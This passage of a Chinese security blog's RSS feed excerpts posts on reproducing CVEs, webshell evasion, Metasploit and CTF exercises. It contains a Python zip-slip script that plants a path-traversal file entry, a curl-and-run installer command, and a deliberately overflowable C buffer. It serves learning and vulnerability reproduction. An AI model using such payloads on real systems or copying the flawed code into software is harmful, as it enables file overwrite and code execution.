&lt;div class="highlight"&gt;&lt;pre tabindex="0" class="chroma"&gt;&lt;code class="language-python" data-lang="python"&gt;&lt;span class="line"&gt;&lt;span class="cl"&gt;&lt;span class="kn"&gt;import&lt;/span&gt; &lt;span class="nn"&gt;zipfile&lt;/span&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="cl"&gt;&lt;span class="c1"&gt;# the name of the zip file to generate&lt;/span&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="cl"&gt;&lt;span class="n"&gt;zf&lt;/span&gt; &lt;span class="o"&gt;=&lt;/span&gt; &lt;span class="n"&gt;zipfile&lt;/span&gt;&lt;span class="o"&gt;.&lt;/span&gt;&lt;span class="n"&gt;ZipFile&lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="s1"&gt;&amp;#39;out.zip&amp;#39;&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt; &lt;span class="s1"&gt;&amp;#39;w&amp;#39;&lt;/span&gt;&lt;span class="p"&gt;)&lt;/span&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="cl"&gt;&lt;span class="c1"&gt;# the name of the malicious file that will overwrite the origial file (must exist on disk)&lt;/span&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="cl"&gt;&lt;span class="n"&gt;fname&lt;/span&gt; &lt;span class="o"&gt;=&lt;/span&gt; &lt;span class="s1"&gt;&amp;#39;sec_test.txt&amp;#39;&lt;/span&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="cl"&gt;&lt;span class="c1"&gt;#destination path of the file&lt;/span&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="cl"&gt;&lt;span class="n"&gt;zf&lt;/span&gt;&lt;span class="o"&gt;.&lt;/span&gt;&lt;span class="n"&gt;write&lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="n"&gt;fname&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt; &lt;span class="s1"&gt;&amp;#39;../../../../../../../../../../../../../../../../../../../../../../../../tmp/sec_test.tmp&amp;#39;&lt;/span&gt;&lt;span class="p"&gt;)&lt;/span&gt;
&lt;/span&gt;&lt;/span&gt;&lt;/code&gt;&lt;/pre&gt;&lt;/div&gt;&lt;p&gt;然后上传此压缩文件：&lt;/p&gt;</description></item><item><title>Joomla 3.4.6-RCE复现</title><link>https://saucer-man.com/information_security/349.html</link><pubDate>Wed, 09 Oct 2019 08:20:00 +0000</pubDate><guid>https://saucer-man.com/information_security/349.html</guid><description>&lt;p&gt;Joomla是基于PHP和MYSQL开发的CMS，近期(2019-10-02)&lt;a href="https://www.exploit-db.com/exploits/47465"&gt;网上&lt;/a&gt;公开了其旧版本中存在的一个0day，该漏洞是一个PHP对象注入漏洞，可导致远程代码执行。&lt;/p&gt;
&lt;ul&gt;
&lt;li&gt;影响版本：从3.0.0版发布到3.4.6版（从2012年到2015年12月发布））&lt;/li&gt;
&lt;/ul&gt;
&lt;p&gt;目前Joomla版本是3.9.12，存在该漏洞的Joomla版本虽然不是很多，但是其利用不受环境影响，利用成功率较大。&lt;/p&gt;</description></item><item><title>fastjson漏洞复现</title><link>https://saucer-man.com/information_security/346.html</link><pubDate>Sun, 29 Sep 2019 09:43:00 +0000</pubDate><guid>https://saucer-man.com/information_security/346.html</guid><description>&lt;p&gt;公司的web项目全是java写的，作为java菜鸟，迫不得已来看fastjson的漏洞了，但分析是不可能会分析的，只能看看分析文章，复现一下勉强维持生活这样子。&lt;/p&gt;
&lt;h2 id="1-背景"&gt;1. 背景&lt;/h2&gt;
&lt;p&gt;fastjson是Alibaba开发的，java语言编写的高性能JSON库，采用“假定有序快速匹配”的算法，号称Java语言中最快的JSON库。&lt;/p&gt;</description></item><item><title>CORS介绍及其漏洞检测</title><link>https://saucer-man.com/information_security/331.html</link><pubDate>Wed, 18 Sep 2019 16:32:00 +0000</pubDate><guid>https://saucer-man.com/information_security/331.html</guid><description>&lt;p&gt;关于跨域请求数据的方式，上次已经讲过了&lt;a href="https://saucer-man.com/information_security/309.html"&gt;JSONP&lt;/a&gt;，今天轮到CORS了。&lt;/p&gt;
&lt;p&gt;CORS是比JSONP更强大，使用也更加广泛，被发明出来就是为了干掉JSONP的，因为用的多，其安全问题也更加普遍。&lt;/p&gt;
&lt;h2 id="1-cors实现原理"&gt;1. CORS实现原理&lt;/h2&gt;
&lt;p&gt;CORS的实现原理理解起来也很简单，我们可以通过一个简单的试验来帮助理解。&lt;/p&gt;</description></item><item><title>Discuz!ML V3.X 代码注入复现</title><link>https://saucer-man.com/information_security/323.html</link><pubDate>Tue, 17 Sep 2019 13:57:00 +0000</pubDate><guid>https://saucer-man.com/information_security/323.html</guid><description>&lt;h2 id="漏洞简介"&gt;漏洞简介&lt;/h2&gt;
&lt;p&gt;2019年7月11日， Discuz！ML被发现存在一处远程代码执行漏洞，攻击者通过在请求流量的cookie字段中的language参数处插入构造的payload，进行远程代码执行利用。&lt;/p&gt;
&lt;p&gt;本次漏洞是由于Discuz! ML对于cookie字段的不恰当处理造成的，cookie字段中的language参数未经过滤，直接被拼接写入缓存文件之中，而缓存文件随后又被加载，从而造成代码执行。&lt;/p&gt;</description></item><item><title>jsonp介绍及其安全风险</title><link>https://saucer-man.com/information_security/309.html</link><pubDate>Mon, 16 Sep 2019 06:44:00 +0000</pubDate><guid>https://saucer-man.com/information_security/309.html</guid><description>&lt;h2 id="jsonp介绍"&gt;JSONP介绍&lt;/h2&gt;
&lt;p&gt;说起跨域请求资源的方法，最常见的方法是JSONP/CORS。下面以具体的例子介绍一下JSONP的工作原理。&lt;/p&gt;
&lt;p&gt;JSONP全称是JSON with Padding ，是基于JSON格式的为解决跨域请求资源而产生的解决方案。&lt;strong&gt;他实现的基本原理是利用了HTML里script元素标签没有跨域限制&lt;/strong&gt;&lt;/p&gt;</description></item><item><title>记一次面经</title><link>https://saucer-man.com/private/308.html</link><pubDate>Fri, 13 Sep 2019 09:02:00 +0000</pubDate><guid>https://saucer-man.com/private/308.html</guid><description>&lt;h2 id="前言"&gt;前言&lt;/h2&gt;
&lt;p&gt;暑期已有一份相对满意的offer，所以秋招就没什么强烈的愿望投简历了，只随便投了几家公司，由于一时间心血来潮投的简历，简历上面的项目经历写重复了。。好尴尬的面试啊~&lt;/p&gt;
&lt;p&gt;岗位是安全工程师，由于问的问题比较基础，基本全是渗透测试相关，所以还是想记录一下，面试问题都是事后回忆的，只能尽力记起来了~&lt;/p&gt;</description></item><item><title>2019强网杯&amp;quot;随便注&amp;quot;学习</title><link>https://saucer-man.com/information_security/302.html</link><pubDate>Tue, 20 Aug 2019 05:30:00 +0000</pubDate><guid>https://saucer-man.com/information_security/302.html</guid><description>&lt;blockquote&gt;
&lt;p&gt;好多知识不接触很容易就忘了，发现多写下来还真是好习惯。&lt;/p&gt;
&lt;/blockquote&gt;
&lt;p&gt;练练ctf，发现这道题，似曾相识，当然了，还是没做出来，被自己菜哭。&lt;/p&gt;
&lt;p&gt;题目是今年强网杯的一道题，我是在https://buuoj.cn练习的，推荐自己使用docker搭建：https://github.com/glzjin/qwb_2019_supersqli。&lt;/p&gt;</description></item><item><title>一次python内存调优经历</title><link>https://saucer-man.com/operation_and_maintenance/298.html</link><pubDate>Mon, 12 Aug 2019 05:46:00 +0000</pubDate><guid>https://saucer-man.com/operation_and_maintenance/298.html</guid><description>&lt;p&gt;对于C语言来说，内存泄露是个很常见的事故，因此写代码的时候要格外注意无用内存的释放，但是对于pythoner来说，一般都不会关心这些，因为python会自己去管理内存。&lt;/p&gt;
&lt;p&gt;但是最近我遇到一个问题，我在写一个程序，将会占用很大的内存，我先使用了一个集合用来存储数据。&lt;/p&gt;</description></item><item><title>redis未授权漏洞利用</title><link>https://saucer-man.com/information_security/283.html</link><pubDate>Fri, 26 Jul 2019 11:20:00 +0000</pubDate><guid>https://saucer-man.com/information_security/283.html</guid><description>&lt;h2 id="1-背景"&gt;1. 背景&lt;/h2&gt;
&lt;ol&gt;
&lt;li&gt;redis是什么?
Redis是一个开源的使用ANSI C语言编写、遵守BSD协议、支持网络、可基于内存亦可持久化的日志型、Key-Value数据库&lt;/li&gt;
&lt;li&gt;redis有哪些使用场景&lt;/li&gt;
&lt;/ol&gt;
&lt;ul&gt;
&lt;li&gt;Redis经常被应用于以下场景&lt;/li&gt;
&lt;li&gt;缓存 (Session Cache)&lt;/li&gt;
&lt;li&gt;队列 (PUB/SUB)&lt;/li&gt;
&lt;li&gt;计数器&lt;/li&gt;
&lt;li&gt;……&lt;/li&gt;
&lt;/ul&gt;
&lt;ol start="3"&gt;
&lt;li&gt;redis默认端口：6379/tcp&lt;/li&gt;
&lt;/ol&gt;
&lt;p&gt;最近几年市场使用redis数据库是越来越多，reids本身没有爆出什么漏洞，但是redis未授权访问是非常普遍的，尤其在内网中，配合ssrf getshell也是很常见的漏洞组合方式。&lt;/p&gt;</description></item><item><title>攻击PHP-FPM 实现Bypass Disable Functions</title><link>https://saucer-man.com/information_security/273.html</link><pubDate>Sun, 21 Jul 2019 05:19:00 +0000</pubDate><guid>https://saucer-man.com/information_security/273.html</guid><description>&lt;p&gt;最近蚁剑有个&lt;a href="https://mp.weixin.qq.com/s/19meSgARKj02QVd3G2jmlA"&gt;更新&lt;/a&gt; ，其中有一条是&lt;code&gt;Bypass Disable Functions&lt;/code&gt;插件的更新，绕过Disable Functions的原理是利用直接用 Webshell 请求 &lt;code&gt;PHP-FPM/FastCGI&lt;/code&gt;，对于此种情况前段时间刚好遇到，其实也寻找了一些Bypass Disable Functions的方案，但是没有去深入研究过，正好趁最近实习不太忙，学习一下此种攻击方式。&lt;/p&gt;</description></item><item><title>端口转发和网络代理相关工具总结</title><link>https://saucer-man.com/information_security/264.html</link><pubDate>Fri, 12 Jul 2019 02:57:00 +0000</pubDate><guid>https://saucer-man.com/information_security/264.html</guid><description>&lt;p&gt;在进行内网渗透的过程中，端口转发和网络代理是肯定会用到的，基本上不同的场景需要用到不同的工具，本文简单记录一下目前比较流行的端口转发和代理工具。&lt;/p&gt;
&lt;p&gt;阅读前需要了解：&lt;/p&gt;
&lt;ul&gt;
&lt;li&gt;端口转发和网络代理的区别&lt;/li&gt;
&lt;li&gt;远程端口转发与本地转发的区别&lt;/li&gt;
&lt;li&gt;正向代理和反向代理的区别&lt;/li&gt;
&lt;/ul&gt;
&lt;h2 id="lcx"&gt;lcx&lt;/h2&gt;
&lt;p&gt;这是一款很经典的端口转发工具，只支持windows。经常被用来转发内网的3389端口。但很容易被杀软检测出来，写文章时我搜了几个自称免杀的版本，但是都没过去本地的卡巴斯基，&lt;strong&gt;不推荐使用&lt;/strong&gt;。下面简单记录一下用法：&lt;/p&gt;</description></item><item><title>关于php弱类型的小总结</title><link>https://saucer-man.com/information_security/262.html</link><pubDate>Mon, 08 Jul 2019 14:18:00 +0000</pubDate><guid>https://saucer-man.com/information_security/262.html</guid><description>&lt;blockquote&gt;
&lt;p&gt;之前的一篇笔记，发到blog上。&lt;/p&gt;
&lt;/blockquote&gt;
&lt;p&gt;PHP，俗称世界上最好的语言，也是CTF中WEB方向最常见的语言，其中利用PHP弱类型特性来绕过限制的情况也比较多，这里结合实例总结一下常见的考察点。&lt;/p&gt;
&lt;h2 id="0x01-强制类型转换"&gt;0x01 强制类型转换&lt;/h2&gt;
&lt;p&gt;先来看题目&lt;/p&gt;
&lt;div class="highlight"&gt;&lt;pre tabindex="0" class="chroma"&gt;&lt;code class="language-php" data-lang="php"&gt;&lt;span class="line"&gt;&lt;span class="cl"&gt;&lt;span class="o"&gt;&amp;lt;?&lt;/span&gt;&lt;span class="nx"&gt;php&lt;/span&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="cl"&gt;&lt;span class="nx"&gt;show_source&lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="no"&gt;__FILE__&lt;/span&gt;&lt;span class="p"&gt;);&lt;/span&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="cl"&gt;&lt;span class="nv"&gt;$flag&lt;/span&gt; &lt;span class="o"&gt;=&lt;/span&gt; &lt;span class="s2"&gt;&amp;#34;xxxx&amp;#34;&lt;/span&gt;&lt;span class="p"&gt;;&lt;/span&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="cl"&gt;&lt;span class="k"&gt;if&lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="nx"&gt;isset&lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="nv"&gt;$_GET&lt;/span&gt;&lt;span class="p"&gt;[&lt;/span&gt;&lt;span class="s1"&gt;&amp;#39;time&amp;#39;&lt;/span&gt;&lt;span class="p"&gt;])){&lt;/span&gt; 
&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="cl"&gt; &lt;span class="k"&gt;if&lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="o"&gt;!&lt;/span&gt;&lt;span class="nx"&gt;is_numeric&lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="nv"&gt;$_GET&lt;/span&gt;&lt;span class="p"&gt;[&lt;/span&gt;&lt;span class="s1"&gt;&amp;#39;time&amp;#39;&lt;/span&gt;&lt;span class="p"&gt;])){&lt;/span&gt; 
&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="cl"&gt; &lt;span class="k"&gt;echo&lt;/span&gt; &lt;span class="s1"&gt;&amp;#39;The time must be number.&amp;#39;&lt;/span&gt;&lt;span class="p"&gt;;&lt;/span&gt; 
&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="cl"&gt; &lt;span class="p"&gt;}&lt;/span&gt;&lt;span class="k"&gt;else&lt;/span&gt; &lt;span class="k"&gt;if&lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="nv"&gt;$_GET&lt;/span&gt;&lt;span class="p"&gt;[&lt;/span&gt;&lt;span class="s1"&gt;&amp;#39;time&amp;#39;&lt;/span&gt;&lt;span class="p"&gt;]&lt;/span&gt; &lt;span class="o"&gt;&amp;lt;&lt;/span&gt; &lt;span class="mi"&gt;60&lt;/span&gt; &lt;span class="o"&gt;*&lt;/span&gt; &lt;span class="mi"&gt;60&lt;/span&gt; &lt;span class="o"&gt;*&lt;/span&gt; &lt;span class="mi"&gt;24&lt;/span&gt; &lt;span class="o"&gt;*&lt;/span&gt; &lt;span class="mi"&gt;30&lt;/span&gt; &lt;span class="o"&gt;*&lt;/span&gt; &lt;span class="mi"&gt;2&lt;/span&gt;&lt;span class="p"&gt;){&lt;/span&gt; 
&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="cl"&gt; &lt;span class="k"&gt;echo&lt;/span&gt; &lt;span class="s1"&gt;&amp;#39;This time is too short.&amp;#39;&lt;/span&gt;&lt;span class="p"&gt;;&lt;/span&gt; 
&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="cl"&gt; &lt;span class="p"&gt;}&lt;/span&gt;&lt;span class="k"&gt;else&lt;/span&gt; &lt;span class="k"&gt;if&lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="nv"&gt;$_GET&lt;/span&gt;&lt;span class="p"&gt;[&lt;/span&gt;&lt;span class="s1"&gt;&amp;#39;time&amp;#39;&lt;/span&gt;&lt;span class="p"&gt;]&lt;/span&gt; &lt;span class="o"&gt;&amp;gt;&lt;/span&gt; &lt;span class="mi"&gt;60&lt;/span&gt; &lt;span class="o"&gt;*&lt;/span&gt; &lt;span class="mi"&gt;60&lt;/span&gt; &lt;span class="o"&gt;*&lt;/span&gt; &lt;span class="mi"&gt;24&lt;/span&gt; &lt;span class="o"&gt;*&lt;/span&gt; &lt;span class="mi"&gt;30&lt;/span&gt; &lt;span class="o"&gt;*&lt;/span&gt; &lt;span class="mi"&gt;3&lt;/span&gt;&lt;span class="p"&gt;){&lt;/span&gt; 
&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="cl"&gt; &lt;span class="k"&gt;echo&lt;/span&gt; &lt;span class="s1"&gt;&amp;#39;This time is too long.&amp;#39;&lt;/span&gt;&lt;span class="p"&gt;;&lt;/span&gt; 
&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="cl"&gt; &lt;span class="p"&gt;}&lt;/span&gt;&lt;span class="k"&gt;else&lt;/span&gt;&lt;span class="p"&gt;{&lt;/span&gt; 
&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="cl"&gt; &lt;span class="nx"&gt;sleep&lt;/span&gt;&lt;span class="p"&gt;((&lt;/span&gt;&lt;span class="nx"&gt;int&lt;/span&gt;&lt;span class="p"&gt;)&lt;/span&gt;&lt;span class="nv"&gt;$_GET&lt;/span&gt;&lt;span class="p"&gt;[&lt;/span&gt;&lt;span class="s1"&gt;&amp;#39;time&amp;#39;&lt;/span&gt;&lt;span class="p"&gt;]);&lt;/span&gt; 
&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="cl"&gt; &lt;span class="k"&gt;echo&lt;/span&gt; &lt;span class="nv"&gt;$flag&lt;/span&gt;&lt;span class="p"&gt;;&lt;/span&gt; 
&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="cl"&gt; &lt;span class="p"&gt;}&lt;/span&gt; 
&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="cl"&gt; &lt;span class="k"&gt;echo&lt;/span&gt; &lt;span class="s1"&gt;&amp;#39;&amp;lt;hr&amp;gt;&amp;#39;&lt;/span&gt;&lt;span class="p"&gt;;&lt;/span&gt; 
&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="cl"&gt;&lt;span class="p"&gt;}&lt;/span&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="cl"&gt;&lt;span class="cp"&gt;?&amp;gt;&lt;/span&gt;&lt;span class="err"&gt;
&lt;/span&gt;&lt;/span&gt;&lt;/span&gt;&lt;/code&gt;&lt;/pre&gt;&lt;/div&gt;&lt;p&gt;乍一看，传入time参数在&lt;code&gt;（5184000，7776000）&lt;/code&gt;范围内不就好了。但是要sleep这么长时间才给flag，那不就真到天荒地老了。&lt;/p&gt;</description></item><item><title>谈谈php一句话木马的免杀</title><link>https://saucer-man.com/information_security/248.html</link><pubDate>Wed, 03 Jul 2019 16:01:00 +0000</pubDate><guid>https://saucer-man.com/information_security/248.html</guid><description>&lt;p&gt;一句话木马叱咤江湖这么多年还是如此活跃，我个人理解是，方便，相比于二进制后门或者大马，一句话木马足够短，容易上传，并且有众多客户端，菜刀，Cknife，蚁剑，对于脚本小子来说，一句话木马大大降低了渗透的门槛。&lt;/p&gt;
&lt;p&gt;但是一句话木马，已经不能适应现在的局势了，如今各大服务器纷纷装上了waf，一句话木马一旦被检测出来，一是会封ip，二是会发出报警信息，引起对方的警觉。&lt;/p&gt;</description></item><item><title>msf备忘录</title><link>https://saucer-man.com/information_security/79.html</link><pubDate>Wed, 12 Jun 2019 15:02:00 +0000</pubDate><guid>https://saucer-man.com/information_security/79.html</guid><description>&lt;h2 id="1-安装运行及初始化"&gt;1. 安装运行及初始化&lt;/h2&gt;
&lt;p&gt;安装&lt;/p&gt;
&lt;div class="highlight"&gt;&lt;pre tabindex="0" class="chroma"&gt;&lt;code class="language-bash" data-lang="bash"&gt;&lt;span class="line"&gt;&lt;span class="cl"&gt;&lt;span class="c1"&gt;# 安装&lt;/span&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="cl"&gt;curl https://raw.githubusercontent.com/rapid7/metasploit-omnibus/master/config/templates/metasploit-framework-wrappers/msfupdate.erb &amp;gt; msfinstall &lt;span class="o"&gt;&amp;amp;&amp;amp;&lt;/span&gt; chmod &lt;span class="m"&gt;755&lt;/span&gt; msfinstall &lt;span class="o"&gt;&amp;amp;&amp;amp;&lt;/span&gt; ./msfinstall
&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="cl"&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="cl"&gt;&lt;span class="c1"&gt;# 安装完成后位置&lt;/span&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="cl"&gt;&lt;span class="c1"&gt;# /opt/metasploit-framework/embedded/framework/&lt;/span&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="cl"&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="cl"&gt;&lt;span class="c1"&gt;# 目录结构 &lt;/span&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="cl"&gt;--modules 重点看这里就行了
&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="cl"&gt; --auxiliary 主要包含辅助性脚本&lt;span class="o"&gt;(&lt;/span&gt;扫描、嗅探、注入、爆破，漏洞挖掘&lt;span class="o"&gt;)&lt;/span&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="cl"&gt; --encoders 主要包含各种编码工具，以便绕过入侵检测和过滤系统
&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="cl"&gt; --exploits 漏洞利用，包含主流的漏洞利用脚本，exp命名规则:系统/服务/模块
&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="cl"&gt; --nops 绕过针对溢出攻击滑行字符串的拦截检测
&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="cl"&gt; --payloads 攻击荷载，主要在目标机器执行代码
&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="cl"&gt; --post 此目录放着msf的exploit执行成功后，向目标发送的一些功能性指令，如提权，获取hash等
&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="cl"&gt; --evasion 新增，用来生成免杀payload，类似于集成msfvenom功能
&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="cl"&gt;--data 放了meterpreter ，passiveX，vnc，DLLs，等这些工具和一些用户接口代码，msfweb 和一些其他模块用到的数据文件
&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="cl"&gt;--plugins 这里的模块用户需要load来加载，提供数据库连接插件和各种要用到的插件
&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="cl"&gt;--scripts 这个目录下的文件大都是meterpreter这个模块利用的脚本，比如用到migrate来转移到其他进程的指令的源代码就在此
&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="cl"&gt;--tools 包含一些有用的脚本和零散的工具
&lt;/span&gt;&lt;/span&gt;&lt;/code&gt;&lt;/pre&gt;&lt;/div&gt;&lt;p&gt;启动&lt;/p&gt;</description></item><item><title>实现交互式shell的几种方式</title><link>https://saucer-man.com/information_security/233.html</link><pubDate>Tue, 11 Jun 2019 14:52:00 +0000</pubDate><guid>https://saucer-man.com/information_security/233.html</guid><description>&lt;p&gt;当我们拿到一个webshell的时候，我们能够执行一些命令，但是这些命令都是非交互的，也就是说不存在上下文的概念。当我们想使用vim、top等命令时，webshell就无能为力了。&lt;/p&gt;
&lt;p&gt;那我们怎么获取一个可交互的webshell呢？&lt;/p&gt;
&lt;h2 id="1-python-pty-方式"&gt;1. python pty 方式&lt;/h2&gt;
&lt;p&gt;一般我们都会使用nc来接收反弹来的shell，只需要在目标上(以linux为例)执行：&lt;/p&gt;</description></item><item><title>信息搜集总结</title><link>https://saucer-man.com/information_security/224.html</link><pubDate>Mon, 03 Jun 2019 05:52:00 +0000</pubDate><guid>https://saucer-man.com/information_security/224.html</guid><description>&lt;h2 id="1-子域名"&gt;1. 子域名&lt;/h2&gt;
&lt;p&gt;主要分为三种，爆破，ssl证书，dns记录查询&lt;/p&gt;
&lt;p&gt;工具查询：&lt;/p&gt;
&lt;ul&gt;
&lt;li&gt;&lt;a href="https://github.com/lijiejie/subDomainsBrute"&gt;subDomainsBrute&lt;/a&gt; 高并发DNS暴力枚举，乌云核心白帽李劼杰的作品。&lt;/li&gt;
&lt;li&gt;Layer子域名挖掘机 法师的作品，很古老的作品了。&lt;/li&gt;
&lt;li&gt;&lt;a href="https://github.com/TheRook/subbrute"&gt;subbrut&lt;/a&gt; 快速枚举 DNS 记录和子域名。&lt;/li&gt;
&lt;li&gt;&lt;a href="https://github.com/aboul3la/Sublist3r"&gt;Sublist3r&lt;/a&gt; 用于渗透测试人员的快速子域名枚举工具。&lt;/li&gt;
&lt;/ul&gt;
&lt;p&gt;像这种爆破类的工具，选一款即可，主要是字典的作用，对于爆破，还是要收集一个好字典。&lt;/p&gt;</description></item><item><title>SSH端口转发笔记</title><link>https://saucer-man.com/operation_and_maintenance/217.html</link><pubDate>Wed, 29 May 2019 12:53:00 +0000</pubDate><guid>https://saucer-man.com/operation_and_maintenance/217.html</guid><description>&lt;p&gt;有时需要使用vpn，或者将本地msf转发到公网，都需要用到SSH端口转发，这里记一下方便用的时候翻。&lt;/p&gt;
&lt;p&gt;关于端口转发的教程，这里参照了&lt;a href="https://github.com/ruanyf/articles/blob/master/2019/2019-05-28-ssh-port-forwarding.md"&gt;阮一峰老师的文章&lt;/a&gt;，最后总结一下在实例中的用法。&lt;/p&gt;
&lt;h2 id="1-用法"&gt;1. 用法&lt;/h2&gt;
&lt;p&gt;ssh 作为数据通信的加密跳板，有多种使用场景。ssh 本身支持三种用法。&lt;/p&gt;
&lt;p&gt;###1.1 动态转发
第一种场景是，访问所有外部网站，都要通过 ssh 中介。&lt;/p&gt;</description></item><item><title>pwn溢出入门案例二</title><link>https://saucer-man.com/information_security/207.html</link><pubDate>Fri, 24 May 2019 09:58:00 +0000</pubDate><guid>https://saucer-man.com/information_security/207.html</guid><description>&lt;p&gt;在&lt;a href="https://saucer-man.com/information_security/177.html"&gt;上篇文章&lt;/a&gt;中，记录了pwn溢出的三个案例。分别记录了开启nx和canary保护的利用方法，但是三个题目都是基于关闭ASLR的情况下，实际情况下谁会没事去关闭ASLR呢？pwn案例二就来记录一下开启了地址随机化之后的pwn溢出利用情况。&lt;/p&gt;
&lt;h2 id="0x01-第四题"&gt;0x01 第四题&lt;/h2&gt;
&lt;p&gt;源码还是和前两题一样。&lt;/p&gt;
&lt;div class="highlight"&gt;&lt;pre tabindex="0" class="chroma"&gt;&lt;code class="language-C" data-lang="C"&gt;&lt;span class="line"&gt;&lt;span class="cl"&gt;&lt;span class="cp"&gt;#include&lt;/span&gt; &lt;span class="cpf"&gt;&amp;lt;stdio.h&amp;gt;&lt;/span&gt;&lt;span class="cp"&gt;
&lt;/span&gt;&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="cl"&gt;&lt;span class="cp"&gt;#include&lt;/span&gt; &lt;span class="cpf"&gt;&amp;lt;unistd.h&amp;gt;&lt;/span&gt;&lt;span class="cp"&gt;
&lt;/span&gt;&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="cl"&gt;&lt;span class="kt"&gt;void&lt;/span&gt; &lt;span class="nf"&gt;readbuf&lt;/span&gt;&lt;span class="p"&gt;()&lt;/span&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="cl"&gt;&lt;span class="p"&gt;{&lt;/span&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="cl"&gt; &lt;span class="kt"&gt;char&lt;/span&gt; &lt;span class="n"&gt;buffer&lt;/span&gt;&lt;span class="p"&gt;[&lt;/span&gt;&lt;span class="mi"&gt;100&lt;/span&gt;&lt;span class="p"&gt;];&lt;/span&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="cl"&gt; &lt;span class="nf"&gt;read&lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="mi"&gt;0&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt; &lt;span class="n"&gt;buffer&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt; &lt;span class="mi"&gt;200&lt;/span&gt;&lt;span class="p"&gt;);&lt;/span&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="cl"&gt;&lt;span class="p"&gt;}&lt;/span&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="cl"&gt;&lt;span class="kt"&gt;int&lt;/span&gt; &lt;span class="nf"&gt;main&lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="kt"&gt;int&lt;/span&gt; &lt;span class="n"&gt;argc&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt; &lt;span class="kt"&gt;char&lt;/span&gt; &lt;span class="o"&gt;*&lt;/span&gt;&lt;span class="n"&gt;argv&lt;/span&gt;&lt;span class="p"&gt;[])&lt;/span&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="cl"&gt;&lt;span class="p"&gt;{&lt;/span&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="cl"&gt; &lt;span class="nf"&gt;readbuf&lt;/span&gt;&lt;span class="p"&gt;();&lt;/span&gt;
